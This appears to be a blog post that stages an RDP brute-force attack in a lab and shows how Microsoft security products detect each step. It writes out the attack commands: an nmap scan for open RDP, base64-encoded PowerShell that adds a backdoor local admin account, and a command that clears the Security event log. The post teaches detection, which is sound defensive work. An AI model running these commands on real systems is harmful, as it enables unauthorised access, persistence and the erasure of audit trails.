The #1 attack method detected by Microsoft Security solutions

RDP Brute Force attack is still the #1 attack on organizations (still more then phishing attacks), Active Directory (or local server) does not support Multi Factor Authentication (MFA) so the attack is dangerous if not detected.

Pre-requisite: enable audit logging (required for step 3 of the attack)

Enable Audit Process Creation

Policy location: Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Configuration > Detailed Tracking > Audit Process Creation [Success and Failure]

Include command line in process creation events

Policy location: Computer Configuration > Administrative Templates > System > Audit Process Creation > Include command line in process creation events [Enabled]

The attack

Create a Local or Member Server with inbound port 3389 (RDP protocol) open from the internet. We use a member server because of the Azure ATP test.

Note: a Domain Controller will not report EventID 4625 but Kerberos EventID 4771 or 4768 (so brute-force the member server in this example).

The attack exists of four steps

1. Internet port scan

2. RDP Brute Force attack

3. Persistence (create account and add to admin group)

4. Clear eventlog

Internet port scan

We will use Kali Linux (bash) for the internet port scan via NMAP. Add your public IP-address(es) to the file target.txt

nano target.txt
nmap -Pn -oA RDP-PortScan -iL target.txt -p 3389
xsltproc RDP-PortScan.xml -o RDP-PortScan.html
firefox RDP-PortScan.htm

RDP Brute Force attack

After the open RDP port is verified, access to the server can be accomplished via an RDP brute force attack (we use hydra via Kali Linux in the example below).

Persistence (create account and add to local admin group)

The next step is to create persistence before we get detected and the Administrator password is changed. We want to do this as quiet as possible (use base64 encoded command) to avoid detection. Logon to the server with the compromised credentials and run the following PowerShell command(s).

# target string
$Command1 = ‘net user helpdesk Passw0rd /add’
$Command2 = ‘net localgroup administrators helpdesk /add’

# converting to Base64 encoded string
$Encoded1 = [convert]::ToBase64String([System.Text.encoding]::Unicode.GetBytes($command1))
$Encoded2 = [convert]::ToBase64String([System.Text.encoding]::Unicode.GetBytes($command2))
# running the encoded command with PowerShell
powershell.exe -encoded $Encoded1
powershell.exe -encoded $Encoded2

Clear eventlog

Finally, we want to remove our traces and clear the Security eventlog.

Clear-EventLog -LogName security -confirm

Detect the Attack

The Microsoft security solutions to monitor the server infrastructure is shown in the picture below.

Azure ATP [E5]is the Active Directory (sensor on Domain Controller) threat detection solution
Microsoft Defender ATP [E5]
is the EDR (anomaly behavior) solution on endpoints (from Windows client to server & Linux, from iOS to Android)
Microsoft Threat Protection [E5] is the cross-product Security solution (all Microsoft 365 E5 Security products)
Azure Security Center [STD] is the Azure (IaaS/PaaS/IoT) Security solution
Azure Sentinel is a Cloud native SIEM, used to monitor the (Server) Security event log(s) in our example

Let’s see which Microsoft Security product detects which step in the attack.

Azure ATP

Azure ATP detects anomalies

To speed up the process we add a Honeytoken account

If the break-glass account Administrator is used, an alert is triggered (admin should use named accounts).

Microsoft Defender ATP

Microsoft Defender ATP (installed by default on Windows Server 2012 R2 and 2016, except Server 2019 which requires manual installation, in Azure Security Center with the Standard Tier enabled) detects anomalies on the system via EDR (Endpoint Detection & Response).

The successful brute-force is detected if the IP-address of the attacker is classified as malicious (via threat intelligence / AbuseIP), if you test from your ‘home’ IP-address this alert will not be triggered (at least I hope not for you ;-)).

The anomaly (new local admin added using Net commands) is detected by Microsoft Defender ATP with all the details of the account name and password (decoded from base64!).

Microsoft Threat Protection

Microsoft Threat Protection is a cross-product Security solution (all Microsoft 365 E5 Security products like Identity Protection, Azure ATP, Microsoft Defender ATP, Office 365 ATP and MCAS) for correlated Incidents and Advanced Hunting.

Microsoft Threat Protection merges Incidents from multiple sources into one correlated Incident. This is really powerful to have a quick and full overview of the attack.

Azure Security Center

Azure Security Center / Threat Protection integrates with Microsoft Defender ATP (Standard Tier) and generates extra alerts like successful RDP Brute Force attack from any IP-address.

The alert(s) from Microsoft Defender ATP are visible in Azure Security Center due to the integration of the products.

Azure Sentinel

Azure Sentinel (Microsoft cloud native SIEM solution) does not detect any alert/incident by default. The first two steps are 1) connect a Data Connector (data source) and 2) create Incident rules (use cases). For this example, we need to connect the Security Events Data Connector.

We create the following Incident Rules (some are available as template, optional fine-tune if required) to detect the attack kill-chain in the example.

- RDP Brute Force attack (EventID 4624 & 4625)
- Base64 encoded PowerShell command (EventID 4688)
- Clear eventlog (EventID 1102)

The attack is detected by the Incident rules and visible for investigation (and/or remediation).

The KQL rule I created for the RDP Brute Force attack is shown below:

SecurityEvent
| summarize
LOGONFAILED=countif(EventID == “4625”),
LOGONSUCCESSFUL=countif(EventID == “4624”)
by IpAddress, Computer

The result of the Incident (or Hunting) rule is

To triage the incident; it is not about the large number of failed logon events without successful logon event, it is also not about the successful logon event with high number of failed events, the real IoC (indicator of Compromise) is the high number of failed logon attempts (RDP brute force attack) in combination with successful logon from the same IP-address.

The Incident(s) / Alert(s) of all products (e.g. Azure ATP, MDATP, ASC, etc.) described can be connected to Azure Sentinel via the specified Data Connector and Incident Rule for the ‘single pane of glass’ experience.

Summary

As you can see each product has their own strength, but integrating different solutions makes it a very powerful Protect, Detect and Respond (NIST Cybersecurity Framework) Security framework #DefenseInDepth

I hope this blog helps you to get some insights on the Microsoft Security Framework with this real world use case (we see this attack often in the InSpark SOC).

Chief Technology Officer @ Nedscaper